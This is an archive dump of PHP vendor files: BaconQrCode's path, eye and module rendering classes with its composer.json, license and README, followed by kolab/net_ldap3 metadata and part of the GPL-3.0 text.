     */
    private $y;

    public function __construct(float $x, float $y)
    {
        $this->x = $x;
        $this->y = $y;
    }

    public function getX() : float
    {
        return $this->x;
    }

    public function getY() : float
    {
        return $this->y;
    }

    /**
     * @return self
     */
    public function translate(float $x, float $y) : OperationInterface
    {
        return new self($this->x + $x, $this->y + $y);
    }
}
PKh�\�۶k��6vendor/bacon/bacon-qr-code/src/Renderer/Path/Close.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Path;

final class Close implements OperationInterface
{
    /**
     * @var self|null
     */
    private static $instance;

    private function __construct()
    {
    }

    public static function instance() : self
    {
        return self::$instance ?: self::$instance = new self();
    }

    /**
     * @return self
     */
    public function translate(float $x, float $y) : OperationInterface
    {
        return $this;
    }
}
PKh�\�����Cvendor/bacon/bacon-qr-code/src/Renderer/Path/OperationInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Path;

interface OperationInterface
{
    /**
     * Translates the operation's coordinates.
     */
    public function translate(float $x, float $y) : self;
}
PKh�\��uǤ	�	5vendor/bacon/bacon-qr-code/src/Renderer/Path/Path.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Path;

use IteratorAggregate;
use Traversable;

/**
 * Internal Representation of a vector path.
 */
final class Path implements IteratorAggregate
{
    /**
     * @var OperationInterface[]
     */
    private $operations = [];

    /**
     * Moves the drawing operation to a certain position.
     */
    public function move(float $x, float $y) : self
    {
        $path = clone $this;
        $path->operations[] = new Move($x, $y);
        return $path;
    }

    /**
     * Draws a line from the current position to another position.
     */
    public function line(float $x, float $y) : self
    {
        $path = clone $this;
        $path->operations[] = new Line($x, $y);
        return $path;
    }

    /**
     * Draws an elliptic arc from the current position to another position.
     */
    public function ellipticArc(
        float $xRadius,
        float $yRadius,
        float $xAxisRotation,
        bool $largeArc,
        bool $sweep,
        float $x,
        float $y
    ) : self {
        $path = clone $this;
        $path->operations[] = new EllipticArc($xRadius, $yRadius, $xAxisRotation, $largeArc, $sweep, $x, $y);
        return $path;
    }

    /**
     * Draws a curve from the current position to another position.
     */
    public function curve(float $x1, float $y1, float $x2, float $y2, float $x3, float $y3) : self
    {
        $path = clone $this;
        $path->operations[] = new Curve($x1, $y1, $x2, $y2, $x3, $y3);
        return $path;
    }

    /**
     * Closes a sub-path.
     */
    public function close() : self
    {
        $path = clone $this;
        $path->operations[] = Close::instance();
        return $path;
    }

    /**
     * Appends another path to this one.
     */
    public function append(self $other) : self
    {
        $path = clone $this;
        $path->operations = array_merge($this->operations, $other->operations);
        return $path;
    }

    public function translate(float $x, float $y) : self
    {
        $path = new self();

        foreach ($this->operations as $operation) {
            $path->operations[] = $operation->translate($x, $y);
        }

        return $path;
    }

    /**
     * @return OperationInterface[]|Traversable
     */
    public function getIterator() : Traversable
    {
        foreach ($this->operations as $operation) {
            yield $operation;
        }
    }
}
PKh�\6�翎�=vendor/bacon/bacon-qr-code/src/Renderer/PlainTextRenderer.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer;

use BaconQrCode\Encoder\QrCode;
use BaconQrCode\Exception\InvalidArgumentException;

final class PlainTextRenderer implements RendererInterface
{
    /**
     * UTF-8 full block (U+2588)
     */
    private const FULL_BLOCK = "\xe2\x96\x88";

    /**
     * UTF-8 upper half block (U+2580)
     */
    private const UPPER_HALF_BLOCK = "\xe2\x96\x80";

    /**
     * UTF-8 lower half block (U+2584)
     */
    private const LOWER_HALF_BLOCK = "\xe2\x96\x84";

    /**
     * UTF-8 no-break space (U+00A0)
     */
    private const EMPTY_BLOCK = "\xc2\xa0";

    /**
     * @var int
     */
    private $margin;

    public function __construct(int $margin = 2)
    {
        $this->margin = $margin;
    }

    /**
     * @throws InvalidArgumentException if matrix width doesn't match height
     */
    public function render(QrCode $qrCode) : string
    {
        $matrix = $qrCode->getMatrix();
        $matrixSize = $matrix->getWidth();

        if ($matrixSize !== $matrix->getHeight()) {
            throw new InvalidArgumentException('Matrix must have the same width and height');
        }

        $rows = $matrix->getArray()->toArray();

        if (0 !== $matrixSize % 2) {
            $rows[] = array_fill(0, $matrixSize, 0);
        }

        $horizontalMargin = str_repeat(self::EMPTY_BLOCK, $this->margin);
        $result = str_repeat("\n", (int) ceil($this->margin / 2));

        for ($i = 0; $i < $matrixSize; $i += 2) {
            $result .= $horizontalMargin;

            $upperRow = $rows[$i];
            $lowerRow = $rows[$i + 1];

            for ($j = 0; $j < $matrixSize; ++$j) {
                $upperBit = $upperRow[$j];
                $lowerBit = $lowerRow[$j];

                if ($upperBit) {
                    $result .= $lowerBit ? self::FULL_BLOCK : self::UPPER_HALF_BLOCK;
                } else {
                    $result .= $lowerBit ? self::LOWER_HALF_BLOCK : self::EMPTY_BLOCK;
                }
            }

            $result .= $horizontalMargin . "\n";
        }

        $result .= str_repeat("\n", (int) ceil($this->margin / 2));

        return $result;
    }
}
PKh�\��=��?vendor/bacon/bacon-qr-code/src/Renderer/Eye/SimpleCircleEye.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Eye;

use BaconQrCode\Renderer\Path\Path;

/**
 * Renders the inner eye as a circle.
 */
final class SimpleCircleEye implements EyeInterface
{
    /**
     * @var self|null
     */
    private static $instance;

    private function __construct()
    {
    }

    public static function instance() : self
    {
        return self::$instance ?: self::$instance = new self();
    }

    public function getExternalPath() : Path
    {
        return (new Path())
            ->move(-3.5, -3.5)
            ->line(3.5, -3.5)
            ->line(3.5, 3.5)
            ->line(-3.5, 3.5)
            ->close()
            ->move(-2.5, -2.5)
            ->line(-2.5, 2.5)
            ->line(2.5, 2.5)
            ->line(2.5, -2.5)
            ->close()
        ;
    }

    public function getInternalPath() : Path
    {
        return (new Path())
            ->move(1.5, 0)
            ->ellipticArc(1.5, 1.5, 0., false, true, 0., 1.5)
            ->ellipticArc(1.5, 1.5, 0., false, true, -1.5, 0.)
            ->ellipticArc(1.5, 1.5, 0., false, true, 0., -1.5)
            ->ellipticArc(1.5, 1.5, 0., false, true, 1.5, 0.)
            ->close()
        ;
    }
}
PKh�\_��
119vendor/bacon/bacon-qr-code/src/Renderer/Eye/SquareEye.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Eye;

use BaconQrCode\Renderer\Path\Path;

/**
 * Renders the eyes in their default square shape.
 */
final class SquareEye implements EyeInterface
{
    /**
     * @var self|null
     */
    private static $instance;

    private function __construct()
    {
    }

    public static function instance() : self
    {
        return self::$instance ?: self::$instance = new self();
    }

    public function getExternalPath() : Path
    {
        return (new Path())
            ->move(-3.5, -3.5)
            ->line(3.5, -3.5)
            ->line(3.5, 3.5)
            ->line(-3.5, 3.5)
            ->close()
            ->move(-2.5, -2.5)
            ->line(-2.5, 2.5)
            ->line(2.5, 2.5)
            ->line(2.5, -2.5)
            ->close()
        ;
    }

    public function getInternalPath() : Path
    {
        return (new Path())
            ->move(-1.5, -1.5)
            ->line(1.5, -1.5)
            ->line(1.5, 1.5)
            ->line(-1.5, 1.5)
            ->close()
        ;
    }
}
PKh�\�#�TT<vendor/bacon/bacon-qr-code/src/Renderer/Eye/EyeInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Eye;

use BaconQrCode\Renderer\Path\Path;

/**
 * Interface for describing the look of an eye.
 */
interface EyeInterface
{
    /**
     * Returns the path of the external eye element.
     *
     * The path origin point (0, 0) must be anchored at the middle of the path.
     */
    public function getExternalPath() : Path;

    /**
     * Returns the path of the internal eye element.
     *
     * The path origin point (0, 0) must be anchored at the middle of the path.
     */
    public function getInternalPath() : Path;
}
PKh�\C"랫�9vendor/bacon/bacon-qr-code/src/Renderer/Eye/ModuleEye.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Eye;

use BaconQrCode\Encoder\ByteMatrix;
use BaconQrCode\Renderer\Module\ModuleInterface;
use BaconQrCode\Renderer\Path\Path;

/**
 * Renders an eye based on a module renderer.
 */
final class ModuleEye implements EyeInterface
{
    /**
     * @var ModuleInterface
     */
    private $module;

    public function __construct(ModuleInterface $module)
    {
        $this->module = $module;
    }

    public function getExternalPath() : Path
    {
        $matrix = new ByteMatrix(7, 7);

        for ($x = 0; $x < 7; ++$x) {
            $matrix->set($x, 0, 1);
            $matrix->set($x, 6, 1);
        }

        for ($y = 1; $y < 6; ++$y) {
            $matrix->set(0, $y, 1);
            $matrix->set(6, $y, 1);
        }

        return $this->module->createPath($matrix)->translate(-3.5, -3.5);
    }

    public function getInternalPath() : Path
    {
        $matrix = new ByteMatrix(3, 3);

        for ($x = 0; $x < 3; ++$x) {
            for ($y = 0; $y < 3; ++$y) {
                $matrix->set($x, $y, 1);
            }
        }

        return $this->module->createPath($matrix)->translate(-1.5, -1.5);
    }
}
PK
h�\7�$��<vendor/bacon/bacon-qr-code/src/Renderer/Eye/CompositeEye.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Eye;

use BaconQrCode\Renderer\Path\Path;

/**
 * Combines the style of two different eyes.
 */
final class CompositeEye implements EyeInterface
{
    /**
     * @var EyeInterface
     */
    private $externalEye;

    /**
     * @var EyeInterface
     */
    private $internalEye;

    public function __construct(EyeInterface $externalEye, EyeInterface $internalEye)
    {
        $this->externalEye = $externalEye;
        $this->internalEye = $internalEye;
    }

    public function getExternalPath() : Path
    {
        return $this->externalEye->getExternalPath();
    }

    public function getInternalPath() : Path
    {
        return $this->internalEye->getInternalPath();
    }
}
PK
h�\7A<y��Bvendor/bacon/bacon-qr-code/src/Renderer/Module/ModuleInterface.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Module;

use BaconQrCode\Encoder\ByteMatrix;
use BaconQrCode\Renderer\Path\Path;

/**
 * Interface describing how modules should be rendered.
 *
 * A module always receives a byte matrix (with values either being 1 or 0). It returns a path, where the origin
 * coordinate (0, 0) equals the top left corner of the first matrix value.
 */
interface ModuleInterface
{
    public function createPath(ByteMatrix $matrix) : Path;
}
PK
h�\F�݀��Dvendor/bacon/bacon-qr-code/src/Renderer/Module/EdgeIterator/Edge.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Module\EdgeIterator;

final class Edge
{
    /**
     * @var bool
     */
    private $positive;

    /**
     * @var array<int[]>
     */
    private $points = [];

    /**
     * @var array<int[]>|null
     */
    private $simplifiedPoints;

    /**
     * @var int
     */
    private $minX = PHP_INT_MAX;

    /**
     * @var int
     */
    private $minY = PHP_INT_MAX;

    /**
     * @var int
     */
    private $maxX = -1;

    /**
     * @var int
     */
    private $maxY = -1;

    public function __construct(bool $positive)
    {
        $this->positive = $positive;
    }

    public function addPoint(int $x, int $y) : void
    {
        $this->points[] = [$x, $y];
        $this->minX = min($this->minX, $x);
        $this->minY = min($this->minY, $y);
        $this->maxX = max($this->maxX, $x);
        $this->maxY = max($this->maxY, $y);
    }

    public function isPositive() : bool
    {
        return $this->positive;
    }

    /**
     * @return array<int[]>
     */
    public function getPoints() : array
    {
        return $this->points;
    }

    public function getMaxX() : int
    {
        return $this->maxX;
    }

    public function getSimplifiedPoints() : array
    {
        if (null !== $this->simplifiedPoints) {
            return $this->simplifiedPoints;
        }

        $points = [];
        $length = count($this->points);

        for ($i = 0; $i < $length; ++$i) {
            $previousPoint = $this->points[(0 === $i ? $length : $i) - 1];
            $nextPoint = $this->points[($length - 1 === $i ? -1 : $i) + 1];
            $currentPoint = $this->points[$i];

            if (($previousPoint[0] === $currentPoint[0] && $currentPoint[0] === $nextPoint[0])
                || ($previousPoint[1] === $currentPoint[1] && $currentPoint[1] === $nextPoint[1])
            ) {
                continue;
            }

            $points[] = $currentPoint;
        }

        return $this->simplifiedPoints = $points;
    }
}
PK
h�\%���iiLvendor/bacon/bacon-qr-code/src/Renderer/Module/EdgeIterator/EdgeIterator.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Module\EdgeIterator;

use BaconQrCode\Encoder\ByteMatrix;
use IteratorAggregate;
use Traversable;

/**
 * Edge iterator based on potrace.
 */
final class EdgeIterator implements IteratorAggregate
{
    /**
     * @var int[]
     */
    private $bytes = [];

    /**
     * @var int
     */
    private $size;

    /**
     * @var int
     */
    private $width;

    /**
     * @var int
     */
    private $height;

    public function __construct(ByteMatrix $matrix)
    {
        $this->bytes = iterator_to_array($matrix->getBytes());
        $this->size = count($this->bytes);
        $this->width = $matrix->getWidth();
        $this->height = $matrix->getHeight();
    }

    /**
     * @return Traversable<Edge>
     */
    public function getIterator() : Traversable
    {
        $originalBytes = $this->bytes;
        $point = $this->findNext(0, 0);

        while (null !== $point) {
            $edge = $this->findEdge($point[0], $point[1]);
            $this->xorEdge($edge);

            yield $edge;

            $point = $this->findNext($point[0], $point[1]);
        }

        $this->bytes = $originalBytes;
    }

    /**
     * @return int[]|null
     */
    private function findNext(int $x, int $y) : ?array
    {
        $i = $this->width * $y + $x;

        while ($i < $this->size && 1 !== $this->bytes[$i]) {
            ++$i;
        }

        if ($i < $this->size) {
            return $this->pointOf($i);
        }

        return null;
    }

    private function findEdge(int $x, int $y) : Edge
    {
        $edge = new Edge($this->isSet($x, $y));
        $startX = $x;
        $startY = $y;
        $dirX = 0;
        $dirY = 1;

        while (true) {
            $edge->addPoint($x, $y);
            $x += $dirX;
            $y += $dirY;

            if ($x === $startX && $y === $startY) {
                break;
            }

            $left = $this->isSet($x + ($dirX + $dirY - 1 ) / 2, $y + ($dirY - $dirX - 1) / 2);
            $right = $this->isSet($x + ($dirX - $dirY - 1) / 2, $y + ($dirY + $dirX - 1) / 2);

            if ($right && ! $left) {
                $tmp = $dirX;
                $dirX = -$dirY;
                $dirY = $tmp;
            } elseif ($right) {
                $tmp = $dirX;
                $dirX = -$dirY;
                $dirY = $tmp;
            } elseif (! $left) {
                $tmp = $dirX;
                $dirX = $dirY;
                $dirY = -$tmp;
            }
        }

        return $edge;
    }

    private function xorEdge(Edge $path) : void
    {
        $points = $path->getPoints();
        $y1 = $points[0][1];
        $length = count($points);
        $maxX = $path->getMaxX();

        for ($i = 1; $i < $length; ++$i) {
            $y = $points[$i][1];

            if ($y === $y1) {
                continue;
            }

            $x = $points[$i][0];
            $minY = min($y1, $y);

            for ($j = $x; $j < $maxX; ++$j) {
                $this->flip($j, $minY);
            }

            $y1 = $y;
        }
    }

    private function isSet(int $x, int $y) : bool
    {
        return (
            $x >= 0
            && $x < $this->width
            && $y >= 0
            && $y < $this->height
        ) && 1 === $this->bytes[$this->width * $y + $x];
    }

    /**
     * @return int[]
     */
    private function pointOf(int $i) : array
    {
        $y = intdiv($i, $this->width);
        return [$i - $y * $this->width, $y];
    }

    private function flip(int $x, int $y) : void
    {
        $this->bytes[$this->width * $y + $x] = (
            $this->isSet($x, $y) ? 0 : 1
        );
    }
}
PK
h�\�xT}&&?vendor/bacon/bacon-qr-code/src/Renderer/Module/SquareModule.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Module;

use BaconQrCode\Encoder\ByteMatrix;
use BaconQrCode\Renderer\Module\EdgeIterator\EdgeIterator;
use BaconQrCode\Renderer\Path\Path;

/**
 * Groups modules together to a single path.
 */
final class SquareModule implements ModuleInterface
{
    /**
     * @var self|null
     */
    private static $instance;

    private function __construct()
    {
    }

    public static function instance() : self
    {
        return self::$instance ?: self::$instance = new self();
    }

    public function createPath(ByteMatrix $matrix) : Path
    {
        $path = new Path();

        foreach (new EdgeIterator($matrix) as $edge) {
            $points = $edge->getSimplifiedPoints();
            $length = count($points);
            $path = $path->move($points[0][0], $points[0][1]);

            for ($i = 1; $i < $length; ++$i) {
                $path = $path->line($points[$i][0], $points[$i][1]);
            }

            $path = $path->close();
        }

        return $path;
    }
}
PK
h�\:	��||Bvendor/bacon/bacon-qr-code/src/Renderer/Module/RoundnessModule.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Module;

use BaconQrCode\Encoder\ByteMatrix;
use BaconQrCode\Exception\InvalidArgumentException;
use BaconQrCode\Renderer\Module\EdgeIterator\EdgeIterator;
use BaconQrCode\Renderer\Path\Path;

/**
 * Rounds the corners of module groups.
 */
final class RoundnessModule implements ModuleInterface
{
    public const STRONG = 1;
    public const MEDIUM = .5;
    public const SOFT = .25;

    /**
     * @var float
     */
    private $intensity;

    public function __construct(float $intensity)
    {
        if ($intensity <= 0 || $intensity > 1) {
            throw new InvalidArgumentException('Intensity must between 0 (exclusive) and 1 (inclusive)');
        }

        $this->intensity = $intensity / 2;
    }

    public function createPath(ByteMatrix $matrix) : Path
    {
        $path = new Path();

        foreach (new EdgeIterator($matrix) as $edge) {
            $points = $edge->getSimplifiedPoints();
            $length = count($points);

            $currentPoint = $points[0];
            $nextPoint = $points[1];
            $horizontal = ($currentPoint[1] === $nextPoint[1]);

            if ($horizontal) {
                $right = $nextPoint[0] > $currentPoint[0];
                $path = $path->move(
                    $currentPoint[0] + ($right ? $this->intensity : -$this->intensity),
                    $currentPoint[1]
                );
            } else {
                $up = $nextPoint[0] < $currentPoint[0];
                $path = $path->move(
                    $currentPoint[0],
                    $currentPoint[1] + ($up ? -$this->intensity : $this->intensity)
                );
            }

            for ($i = 1; $i <= $length; ++$i) {
                if ($i === $length) {
                    $previousPoint = $points[$length - 1];
                    $currentPoint = $points[0];
                    $nextPoint = $points[1];
                } else {
                    $previousPoint = $points[(0 === $i ? $length : $i) - 1];
                    $currentPoint = $points[$i];
                    $nextPoint = $points[($length - 1 === $i ? -1 : $i) + 1];
                }

                $horizontal = ($previousPoint[1] === $currentPoint[1]);

                if ($horizontal) {
                    $right = $previousPoint[0] < $currentPoint[0];
                    $up = $nextPoint[1] < $currentPoint[1];
                    $sweep = ($up xor $right);

                    if ($this->intensity < 0.5
                        || ($right && $previousPoint[0] !== $currentPoint[0] - 1)
                        || (! $right && $previousPoint[0] - 1 !== $currentPoint[0])
                    ) {
                        $path = $path->line(
                            $currentPoint[0] + ($right ? -$this->intensity : $this->intensity),
                            $currentPoint[1]
                        );
                    }

                    $path = $path->ellipticArc(
                        $this->intensity,
                        $this->intensity,
                        0,
                        false,
                        $sweep,
                        $currentPoint[0],
                        $currentPoint[1] + ($up ? -$this->intensity : $this->intensity)
                    );
                } else {
                    $up = $previousPoint[1] > $currentPoint[1];
                    $right = $nextPoint[0] > $currentPoint[0];
                    $sweep = ! ($up xor $right);

                    if ($this->intensity < 0.5
                        || ($up && $previousPoint[1] !== $currentPoint[1] + 1)
                        || (! $up && $previousPoint[0] + 1 !== $currentPoint[0])
                    ) {
                        $path = $path->line(
                            $currentPoint[0],
                            $currentPoint[1] + ($up ? $this->intensity : -$this->intensity)
                        );
                    }

                    $path = $path->ellipticArc(
                        $this->intensity,
                        $this->intensity,
                        0,
                        false,
                        $sweep,
                        $currentPoint[0] + ($right ? $this->intensity : -$this->intensity),
                        $currentPoint[1]
                    );
                }
            }

            $path = $path->close();
        }

        return $path;
    }
}
PK
h�\W�.!=vendor/bacon/bacon-qr-code/src/Renderer/Module/DotsModule.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Renderer\Module;

use BaconQrCode\Encoder\ByteMatrix;
use BaconQrCode\Exception\InvalidArgumentException;
use BaconQrCode\Renderer\Path\Path;

/**
 * Renders individual modules as dots.
 */
final class DotsModule implements ModuleInterface
{
    public const LARGE = 1;
    public const MEDIUM = .8;
    public const SMALL = .6;

    /**
     * @var float
     */
    private $size;

    public function __construct(float $size)
    {
        if ($size <= 0 || $size > 1) {
            throw new InvalidArgumentException('Size must between 0 (exclusive) and 1 (inclusive)');
        }

        $this->size = $size;
    }

    public function createPath(ByteMatrix $matrix) : Path
    {
        $width = $matrix->getWidth();
        $height = $matrix->getHeight();
        $path = new Path();
        $halfSize = $this->size / 2;
        $margin = (1 - $this->size) / 2;

        for ($y = 0; $y < $height; ++$y) {
            for ($x = 0; $x < $width; ++$x) {
                if (! $matrix->get($x, $y)) {
                    continue;
                }

                $pathX = $x + $margin;
                $pathY = $y + $margin;

                $path = $path
                    ->move($pathX + $this->size, $pathY + $halfSize)
                    ->ellipticArc($halfSize, $halfSize, 0, false, true, $pathX + $halfSize, $pathY + $this->size)
                    ->ellipticArc($halfSize, $halfSize, 0, false, true, $pathX, $pathY + $halfSize)
                    ->ellipticArc($halfSize, $halfSize, 0, false, true, $pathX + $halfSize, $pathY)
                    ->ellipticArc($halfSize, $halfSize, 0, false, true, $pathX + $this->size, $pathY + $halfSize)
                    ->close()
                ;
            }
        }

        return $path;
    }
}
PK
h�\^�W�UU(vendor/bacon/bacon-qr-code/composer.jsonnu�[���{
    "name": "bacon/bacon-qr-code",
    "description": "BaconQrCode is a QR code generator for PHP.",
    "license" : "BSD-2-Clause",
    "homepage": "https://github.com/Bacon/BaconQrCode",
    "require": {
        "php": "^7.1 || ^8.0",
        "ext-iconv": "*",
        "dasprid/enum": "^1.0.3"
    },
    "suggest": {
        "ext-imagick": "to generate QR code images"
    },
    "authors": [
        {
            "name": "Ben Scholzen 'DASPRiD'",
            "email": "mail@dasprids.de",
            "homepage": "https://dasprids.de/",
            "role": "Developer"
        }
    ],
    "autoload": {
        "psr-4": {
            "BaconQrCode\\": "src/"
        }
    },
    "require-dev": {
        "phpunit/phpunit": "^7 | ^8 | ^9",
        "spatie/phpunit-snapshot-assertions": "^4.2.9",
        "squizlabs/php_codesniffer": "^3.4",
        "phly/keep-a-changelog": "^2.1"
    },
    "config": {
        "allow-plugins": {
            "ocramius/package-versions": true
        }
    },
    "archive": {
        "exclude": [
            "/test",
            "/phpunit.xml.dist"
        ]
    }
}
PK
h�\˷I�"vendor/bacon/bacon-qr-code/LICENSEnu�[���Copyright (c) 2017, Ben Scholzen 'DASPRiD'
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
PK
h�\.ڌӞ�$vendor/bacon/bacon-qr-code/README.mdnu�[���# QR Code generator

[![PHP CI](https://github.com/Bacon/BaconQrCode/actions/workflows/ci.yml/badge.svg)](https://github.com/Bacon/BaconQrCode/actions/workflows/ci.yml)
[![codecov](https://codecov.io/gh/Bacon/BaconQrCode/branch/master/graph/badge.svg?token=rD0HcAiEEx)](https://codecov.io/gh/Bacon/BaconQrCode)
[![Latest Stable Version](https://poser.pugx.org/bacon/bacon-qr-code/v/stable)](https://packagist.org/packages/bacon/bacon-qr-code)
[![Total Downloads](https://poser.pugx.org/bacon/bacon-qr-code/downloads)](https://packagist.org/packages/bacon/bacon-qr-code)
[![License](https://poser.pugx.org/bacon/bacon-qr-code/license)](https://packagist.org/packages/bacon/bacon-qr-code)


## Introduction
BaconQrCode is a port of QR code portion of the ZXing library. It currently
only features the encoder part, but could later receive the decoder part as
well.

As the Reed Solomon codec implementation of the ZXing library performs quite
slow in PHP, it was exchanged with the implementation by Phil Karn.


## Example usage
```php
use BaconQrCode\Renderer\ImageRenderer;
use BaconQrCode\Renderer\Image\ImagickImageBackEnd;
use BaconQrCode\Renderer\RendererStyle\RendererStyle;
use BaconQrCode\Writer;

$renderer = new ImageRenderer(
    new RendererStyle(400),
    new ImagickImageBackEnd()
);
$writer = new Writer($renderer);
$writer->writeFile('Hello World!', 'qrcode.png');
```

## Available image renderer back ends
BaconQrCode comes with multiple back ends for rendering images. Currently included are the following:

- `ImagickImageBackEnd`: renders raster images using the Imagick library
- `SvgImageBackEnd`: renders SVG files using XMLWriter
- `EpsImageBackEnd`: renders EPS files
PK
h�\ty�33!vendor/kolab/net_ldap3/.arcconfignu�[���{
    "phabricator.uri": "https://git.kolab.org"
}
PK
h�\�wF���$vendor/kolab/net_ldap3/composer.jsonnu�[���{
	"name": "kolab/net_ldap3",
	"description": "A successor of the PEAR:Net_LDAP2 module providing advanced functionality for accessing LDAP directories",
	"type": "library",
	"keywords": ["pear", "ldap", "vlv"],
	"homepage": "http://git.kolab.org/pear/Net_LDAP3/",
	"license": "GPL-3.0+",
	"authors": [
		{
			"name": "Jeroen van Meeuwen",
			"email": "vanmeeuwen@kolabsys.com",
			"role": "Lead"
		},
		{
			"name": "Aleksander Machniak",
			"email": "machniak@kolabsys.com",
			"role": "Developer"
		},
		{
			"name": "Thomas Bruederli",
			"email": "roundcube@gmail.com",
			"role": "Developer"
		}
	],
	"require": {
		"php": ">=5.3.3",
		"pear/net_ldap2": ">=2.0.12"
	},
	"autoload": {
		"classmap": ["lib/"]
	}
}
PK
h�\|�wfK�K�vendor/kolab/net_ldap3/LICENSEnu�[���                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
